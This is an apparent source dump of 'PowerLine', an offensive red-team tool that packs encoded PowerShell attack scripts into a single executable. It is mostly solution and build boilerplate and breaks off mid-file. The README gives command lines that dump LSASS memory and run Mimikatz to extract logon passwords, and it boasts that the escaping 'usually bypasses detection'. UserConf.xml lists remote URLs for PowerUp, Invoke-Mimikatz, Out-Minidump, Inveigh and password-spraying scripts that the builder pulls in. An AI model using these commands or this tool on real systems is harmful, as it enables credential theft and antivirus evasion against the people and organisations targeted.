├── PowerLine ├── Costura.dll ├── mscorlib.dll ├── PowerLineTemplate │ ├── FodyWeavers.xml │ ├── Costura.dll │ ├── packages │ │ ├── Fody.2.0.0 │ │ │ ├── Content │ │ │ │ └── FodyWeavers.xml │ │ │ ├── Fody.dll │ │ │ ├── Fody.pdb │ │ │ ├── Fody.2.0.0.nupkg │ │ │ ├── FodyCommon.dll │ │ │ ├── FodyCommon.pdb │ │ │ ├── FodyIsolated.dll │ │ │ ├── FodyIsolated.pdb │ │ │ ├── Mono.Cecil.dll │ │ │ ├── Mono.Cecil.Mdb.dll │ │ │ ├── Mono.Cecil.Pdb.dll │ │ │ ├── Mono.Cecil.Rocks.dll │ │ │ ├── Tools │ │ │ │ └── install.ps1 │ │ │ └── build │ │ │ │ ├── dotnet │ │ │ │ └── Fody.targets │ │ │ │ ├── netstandard1.4 │ │ │ │ └── Fody.targets │ │ │ │ └── portable-net+sl+win+wpa+wp │ │ │ │ └── Fody.targets │ │ └── Costura.Fody.1.6.2 │ │ │ ├── Costura.Fody.dll │ │ │ ├── Costura.Fody.pdb │ │ │ ├── Costura.Tasks.dll │ │ │ ├── Costura.Tasks.pdb │ │ │ ├── lib │ │ │ ├── dotnet │ │ │ │ ├── Costura.dll │ │ │ │ └── Costura.pdb │ │ │ └── portable-net+sl+win+wpa+wp │ │ │ │ ├── Costura.dll │ │ │ │ └── Costura.pdb │ │ │ ├── Costura.Fody.1.6.2.nupkg │ │ │ ├── build │ │ │ ├── dotnet │ │ │ │ └── Costura.Fody.targets │ │ │ └── portable-net+sl+win+wpa+wp │ │ │ │ └── Costura.Fody.targets │ │ │ └── tools │ │ │ ├── uninstall.ps1 │ │ │ └── install.ps1 │ ├── System.Management.Automation.dll │ ├── packages.config │ ├── Functions.cs │ ├── PowerLineTemplate.sln │ ├── PowerLineTemplateWin7.pln.sln │ ├── PowerLineTemplateWin10.pln.sln │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── PowerLineTemplate.csproj │ ├── PowerLineTemplate10.csproj │ ├── PowerLineMain.cs │ └── MyPSHost.cs ├── System.Configuration.Install.dll ├── app.config ├── ProgramConf.xml ├── build.bat ├── Compile_old.txt ├── PowerLine.sln ├── PowerLineWin7.pln.sln ├── PowerLineWin10.pln.sln ├── UserConf.xml ├── Properties │ └── AssemblyInfo.cs ├── PowerLine.csproj ├── PowerLine10.csproj └── PLBuilderMain.cs ├── README.md ├── .gitattributes └── .gitignore /PowerLine/Costura.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fullmetalcache/PowerLine/HEAD/PowerLine/Costura.dll -------------------------------------------------------------------------------- /PowerLine/mscorlib.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fullmetalcache/PowerLine/HEAD/PowerLine/mscorlib.dll -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/FodyWeavers.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/Costura.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fullmetalcache/PowerLine/HEAD/PowerLine/PowerLineTemplate/Costura.dll -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Fody.2.0.0/Content/FodyWeavers.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /PowerLine/System.Configuration.Install.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fullmetalcache/PowerLine/HEAD/PowerLine/System.Configuration.Install.dll -------------------------------------------------------------------------------- /PowerLine/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Fody.2.0.0/Fody.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fullmetalcache/PowerLine/HEAD/PowerLine/PowerLineTemplate/packages/Fody.2.0.0/Fody.dll -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Fody.2.0.0/Fody.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fullmetalcache/PowerLine/HEAD/PowerLine/PowerLineTemplate/packages/Fody.2.0.0/Fody.pdb -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fullmetalcache/PowerLine/HEAD/PowerLine/PowerLineTemplate/System.Management.Automation.dll -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Fody.2.0.0/Fody.2.0.0.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fullmetalcache/PowerLine/HEAD/PowerLine/PowerLineTemplate/packages/Fody.2.0.0/Fody.2.0.0.nupkg -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Fody.2.0.0/FodyCommon.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fullmetalcache/PowerLine/HEAD/PowerLine/PowerLineTemplate/packages/Fody.2.0.0/FodyCommon.dll -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Fody.2.0.0/FodyCommon.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fullmetalcache/PowerLine/HEAD/PowerLine/PowerLineTemplate/packages/Fody.2.0.0/FodyCommon.pdb -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Fody.2.0.0/FodyIsolated.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fullmetalcache/PowerLine/HEAD/PowerLine/PowerLineTemplate/packages/Fody.2.0.0/FodyIsolated.dll -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Fody.2.0.0/FodyIsolated.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fullmetalcache/PowerLine/HEAD/PowerLine/PowerLineTemplate/packages/Fody.2.0.0/FodyIsolated.pdb -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Fody.2.0.0/Mono.Cecil.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fullmetalcache/PowerLine/HEAD/PowerLine/PowerLineTemplate/packages/Fody.2.0.0/Mono.Cecil.dll -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Fody.2.0.0/Mono.Cecil.Mdb.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fullmetalcache/PowerLine/HEAD/PowerLine/PowerLineTemplate/packages/Fody.2.0.0/Mono.Cecil.Mdb.dll -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Fody.2.0.0/Mono.Cecil.Pdb.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fullmetalcache/PowerLine/HEAD/PowerLine/PowerLineTemplate/packages/Fody.2.0.0/Mono.Cecil.Pdb.dll -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Fody.2.0.0/Mono.Cecil.Rocks.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fullmetalcache/PowerLine/HEAD/PowerLine/PowerLineTemplate/packages/Fody.2.0.0/Mono.Cecil.Rocks.dll -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Costura.Fody.1.6.2/Costura.Fody.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fullmetalcache/PowerLine/HEAD/PowerLine/PowerLineTemplate/packages/Costura.Fody.1.6.2/Costura.Fody.dll -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Costura.Fody.1.6.2/Costura.Fody.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fullmetalcache/PowerLine/HEAD/PowerLine/PowerLineTemplate/packages/Costura.Fody.1.6.2/Costura.Fody.pdb -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Costura.Fody.1.6.2/Costura.Tasks.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fullmetalcache/PowerLine/HEAD/PowerLine/PowerLineTemplate/packages/Costura.Fody.1.6.2/Costura.Tasks.dll -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Costura.Fody.1.6.2/Costura.Tasks.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fullmetalcache/PowerLine/HEAD/PowerLine/PowerLineTemplate/packages/Costura.Fody.1.6.2/Costura.Tasks.pdb -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Costura.Fody.1.6.2/lib/dotnet/Costura.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fullmetalcache/PowerLine/HEAD/PowerLine/PowerLineTemplate/packages/Costura.Fody.1.6.2/lib/dotnet/Costura.dll -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Costura.Fody.1.6.2/lib/dotnet/Costura.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fullmetalcache/PowerLine/HEAD/PowerLine/PowerLineTemplate/packages/Costura.Fody.1.6.2/lib/dotnet/Costura.pdb -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Costura.Fody.1.6.2/Costura.Fody.1.6.2.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fullmetalcache/PowerLine/HEAD/PowerLine/PowerLineTemplate/packages/Costura.Fody.1.6.2/Costura.Fody.1.6.2.nupkg -------------------------------------------------------------------------------- /PowerLine/ProgramConf.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | CleanVars.txt 5 | 6 | PowerLineTemplate\PowerLineTemplate.csproj 7 | 8 | -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Costura.Fody.1.6.2/lib/portable-net+sl+win+wpa+wp/Costura.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fullmetalcache/PowerLine/HEAD/PowerLine/PowerLineTemplate/packages/Costura.Fody.1.6.2/lib/portable-net+sl+win+wpa+wp/Costura.dll -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Costura.Fody.1.6.2/lib/portable-net+sl+win+wpa+wp/Costura.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fullmetalcache/PowerLine/HEAD/PowerLine/PowerLineTemplate/packages/Costura.Fody.1.6.2/lib/portable-net+sl+win+wpa+wp/Costura.pdb -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Fody.2.0.0/Tools/install.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | $item = $project.ProjectItems | where-object {$_.Name -eq "FodyWeavers.xml"} 3 | $item.Properties.Item("BuildAction").Value = [int]0 -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/Functions.cs: -------------------------------------------------------------------------------- 1 | //Author:fullmetalcache 2 | using System.Collections.Generic; 3 | 4 | namespace PowerLine 5 | { 6 | class Functions 7 | { 8 | public static Dictionary Funcs; 9 | public static char dKey; 10 | public static void InitDictionary() 11 | { 12 | Funcs = new Dictionary(); 13 | //Don't change the dollar sign line 14 | //$$$ 15 | } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /PowerLine/build.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | if exist C:\Windows\Microsoft.NET\Framework64\v2.0.50727\MSBuild.exe ( 4 | C:\Windows\Microsoft.NET\Framework64\v2.0.50727\MSBuild.exe %~dp0\PowerLineWin7.pln.sln /t:rebuild /p:Configuration=Release /p:Platform=x64 5 | ) else if exist C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe ( 6 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe %~dp0\PowerLineWin10.pln.sln /t:rebuild /p:Configuration=Release /p:Platform=x64 7 | ) else ( 8 | echo x86 isn't yet supported...soon though 9 | ) 10 | ECHO ON 11 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PowerLine 2 | 3 | Download the Repo 4 | 5 | Run the build.bat file 6 | 7 | Update the UserConf.xml document to contain the URLs of the scripts that you'd like to include (examples shown) 8 | 9 | Run the PLBuilder.exe file 10 | 11 | The PowerLine.exe program should now be created and contains embedded, xor-encoded, base64-encoded versions of all of the scripts that you specified 12 | 13 | Example Usage: 14 | 15 | //Shows scripts that are currently embedded in the program 16 | 17 | PowerLine.exe -ShowScripts 18 | 19 | //Run Invoke-AllChecks from the PowerUp script 20 | 21 | PowerLine.exe PowerUp "Invoke-AllChecks" 22 | 23 | //Get a dump of the lsass process. Must run as an admin 24 | 25 | PowerLine.exe Out-Minidump "Get-Process lsass | Out-Minidump" 26 | 27 | //Run mimikatz against the dump file created by the Out-Minidump command to extract creds. lsass_dump_name.dmp will be the name generated by Out-Minidump 28 | 29 | //Yes, it's hellacious escaping but it works and usually bypasses detection =) 30 | 31 | PowerLine.exe Invoke-Mimikatz "Invoke-Mimikatz -Command \"`\"sekurlsa::minidump lsass_dump_name.dmp`\" `\"sekurlsa::logonPasswords`\"\"" 32 | -------------------------------------------------------------------------------- /PowerLine/Compile_old.txt: -------------------------------------------------------------------------------- 1 | //Place the Functions.cs and Program.cs files into a directory. From the command line, traverse to that directory and paste in the command below that matches your architecture. 2 | 3 | //x64 system 4 | C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe /r:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /unsafe /platform:x64 /target:exe /out:powerline.exe .\*.cs 5 | 6 | //x86 system 7 | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /r:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /unsafe /platform:x86 /target:exe /out:powerline.exe .\*.cs 8 | 9 | //MSBuild, be sure to copy the C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll file to C:\Program Files (x86)\MSBuild\14.0\Bin\amd64\Microsoft.Build.Tasks.v4.0.dll 10 | C:\Users\fmc\Source\Repos\powerline>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Users\fmc\Source\Repos\powerline\PowerLine.sln /t:rebuild /p:PlatformTarget=x64 11 | 12 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Users\fmc\Source\Repos\powerline\PLWTF\PowerLine.sln /t:rebuild /p:PlatformTarget=x64 -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Costura.Fody.1.6.2/build/dotnet/Costura.Fody.targets: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | $(MSBuildThisFileDirectory)..\..\ 6 | 7 | 8 | 11 | 12 | 13 | 14 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Costura.Fody.1.6.2/build/portable-net+sl+win+wpa+wp/Costura.Fody.targets: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | $(MSBuildThisFileDirectory)..\..\ 6 | 7 | 8 | 11 | 12 | 13 | 14 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /PowerLine/PowerLine.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PowerLine", "PowerLine.csproj", "{05B57AFC-134D-4495-94DF-F9E721772572}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {05B57AFC-134D-4495-94DF-F9E721772572}.Debug|Any CPU.ActiveCfg = Release|Any CPU 17 | {05B57AFC-134D-4495-94DF-F9E721772572}.Debug|Any CPU.Build.0 = Release|Any CPU 18 | {05B57AFC-134D-4495-94DF-F9E721772572}.Debug|x64.ActiveCfg = Debug|x64 19 | {05B57AFC-134D-4495-94DF-F9E721772572}.Debug|x64.Build.0 = Debug|x64 20 | {05B57AFC-134D-4495-94DF-F9E721772572}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {05B57AFC-134D-4495-94DF-F9E721772572}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {05B57AFC-134D-4495-94DF-F9E721772572}.Release|x64.ActiveCfg = Release|x64 23 | {05B57AFC-134D-4495-94DF-F9E721772572}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /PowerLine/PowerLineWin7.pln.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 9.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PowerLine", "PowerLine.csproj", "{05B57AFC-134D-4495-94DF-F9E721772572}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {05B57AFC-134D-4495-94DF-F9E721772572}.Debug|Any CPU.ActiveCfg = Release|Any CPU 17 | {05B57AFC-134D-4495-94DF-F9E721772572}.Debug|Any CPU.Build.0 = Release|Any CPU 18 | {05B57AFC-134D-4495-94DF-F9E721772572}.Debug|x64.ActiveCfg = Debug|x64 19 | {05B57AFC-134D-4495-94DF-F9E721772572}.Debug|x64.Build.0 = Debug|x64 20 | {05B57AFC-134D-4495-94DF-F9E721772572}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {05B57AFC-134D-4495-94DF-F9E721772572}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {05B57AFC-134D-4495-94DF-F9E721772572}.Release|x64.ActiveCfg = Release|x64 23 | {05B57AFC-134D-4495-94DF-F9E721772572}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /PowerLine/PowerLineWin10.pln.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PowerLine", "PowerLine10.csproj", "{05B57AFC-134D-4495-94DF-F9E721772572}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {05B57AFC-134D-4495-94DF-F9E721772572}.Debug|Any CPU.ActiveCfg = Release|Any CPU 17 | {05B57AFC-134D-4495-94DF-F9E721772572}.Debug|Any CPU.Build.0 = Release|Any CPU 18 | {05B57AFC-134D-4495-94DF-F9E721772572}.Debug|x64.ActiveCfg = Debug|x64 19 | {05B57AFC-134D-4495-94DF-F9E721772572}.Debug|x64.Build.0 = Debug|x64 20 | {05B57AFC-134D-4495-94DF-F9E721772572}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {05B57AFC-134D-4495-94DF-F9E721772572}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {05B57AFC-134D-4495-94DF-F9E721772572}.Release|x64.ActiveCfg = Release|x64 23 | {05B57AFC-134D-4495-94DF-F9E721772572}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/PowerLineTemplate.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 9.0 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PowerLineTemplate", "PowerLineTemplate.csproj", "{A4990544-3228-4BB9-9651-B05F516E0B71}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {A4990544-3228-4BB9-9651-B05F516E0B71}.Debug|Any CPU.ActiveCfg = Release|x64 17 | {A4990544-3228-4BB9-9651-B05F516E0B71}.Debug|Any CPU.Build.0 = Release|x64 18 | {A4990544-3228-4BB9-9651-B05F516E0B71}.Debug|x64.ActiveCfg = Debug|x64 19 | {A4990544-3228-4BB9-9651-B05F516E0B71}.Debug|x64.Build.0 = Debug|x64 20 | {A4990544-3228-4BB9-9651-B05F516E0B71}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {A4990544-3228-4BB9-9651-B05F516E0B71}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {A4990544-3228-4BB9-9651-B05F516E0B71}.Release|x64.ActiveCfg = Release|x64 23 | {A4990544-3228-4BB9-9651-B05F516E0B71}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/packages/Costura.Fody.1.6.2/tools/uninstall.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | 4 | function Update-FodyConfig($addinName, $project) 5 | { 6 | $fodyWeaversPath = [System.IO.Path]::Combine([System.IO.Path]::GetDirectoryName($project.FullName), "FodyWeavers.xml") 7 | 8 | if (!(Test-Path ($fodyWeaversPath))) 9 | { 10 | return 11 | } 12 | 13 | Write-Host "Caching variables for possible update" 14 | $env:FodyLastProjectPath = $project.FullName 15 | $env:FodyLastWeaverName = $addinName 16 | $env:FodyLastXmlContents = [IO.File]::ReadAllText($fodyWeaversPath) 17 | 18 | 19 | $xml = [xml](get-content $fodyWeaversPath) 20 | 21 | $weavers = $xml["Weavers"] 22 | $node = $weavers.SelectSingleNode($addinName) 23 | 24 | if ($node) 25 | { 26 | Write-Host "Removing node from FodyWeavers.xml" 27 | $weavers.RemoveChild($node) 28 | } 29 | 30 | $xml.Save($fodyWeaversPath) 31 | } 32 | 33 | 34 | function UnlockWeaversXml($project) 35 | { 36 | $fodyWeaversProjectItem = $project.ProjectItems.Item("FodyWeavers.xml"); 37 | if ($fodyWeaversProjectItem) 38 | { 39 | $fodyWeaversProjectItem.Open("{7651A701-06E5-11D1-8EBD-00A0C90F26EA}") 40 | $fodyWeaversProjectItem.Save() 41 | $fodyWeaversProjectItem.Document.Close() 42 | } 43 | } 44 | 45 | UnlockWeaversXml($project) 46 | 47 | Update-FodyConfig $package.Id.Replace(".Fody", "") $project -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/PowerLineTemplateWin7.pln.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 9.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PowerLineTemplate", "PowerLineTemplate.csproj", "{A4990544-3228-4BB9-9651-B05F516E0B71}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {A4990544-3228-4BB9-9651-B05F516E0B71}.Debug|Any CPU.ActiveCfg = Release|x64 17 | {A4990544-3228-4BB9-9651-B05F516E0B71}.Debug|Any CPU.Build.0 = Release|x64 18 | {A4990544-3228-4BB9-9651-B05F516E0B71}.Debug|x64.ActiveCfg = Debug|x64 19 | {A4990544-3228-4BB9-9651-B05F516E0B71}.Debug|x64.Build.0 = Debug|x64 20 | {A4990544-3228-4BB9-9651-B05F516E0B71}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {A4990544-3228-4BB9-9651-B05F516E0B71}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {A4990544-3228-4BB9-9651-B05F516E0B71}.Release|x64.ActiveCfg = Release|x64 23 | {A4990544-3228-4BB9-9651-B05F516E0B71}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /PowerLine/PowerLineTemplate/PowerLineTemplateWin10.pln.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PowerLineTemplate", "PowerLineTemplate10.csproj", "{A4990544-3228-4BB9-9651-B05F516E0B71}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {A4990544-3228-4BB9-9651-B05F516E0B71}.Debug|Any CPU.ActiveCfg = Release|x64 17 | {A4990544-3228-4BB9-9651-B05F516E0B71}.Debug|Any CPU.Build.0 = Release|x64 18 | {A4990544-3228-4BB9-9651-B05F516E0B71}.Debug|x64.ActiveCfg = Debug|x64 19 | {A4990544-3228-4BB9-9651-B05F516E0B71}.Debug|x64.Build.0 = Debug|x64 20 | {A4990544-3228-4BB9-9651-B05F516E0B71}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {A4990544-3228-4BB9-9651-B05F516E0B71}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {A4990544-3228-4BB9-9651-B05F516E0B71}.Release|x64.ActiveCfg = Release|x64 23 | {A4990544-3228-4BB9-9651-B05F516E0B71}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /PowerLine/UserConf.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | x64 5 | 6 | 7 | 8 | 9 | 10 | https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1 11 | 12 | 13 | https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1 14 | 15 | 16 | https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Out-Minidump.ps1 17 | 18 | 19 | https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1 20 | 21 | https://raw.githubusercontent.com/fullmetalcache/tools/master/autokerberoast_nomimi_stripped.ps1 22 | https://raw.githubusercontent.com/fullmetalcache/tools/master/inveigh_stripped.ps1 23 | https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/master/DomainPasswordSpray.ps1 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /PowerLine/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("PowerLine")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("Microsoft")] 12 | [assembly: AssemblyProduct("PowerLine")] 13 | [assembly: AssemblyCopyright("Copyright © Microsoft 2017")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("15746958-b85c-49a7-a2cd-dfed950f4d0c")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default 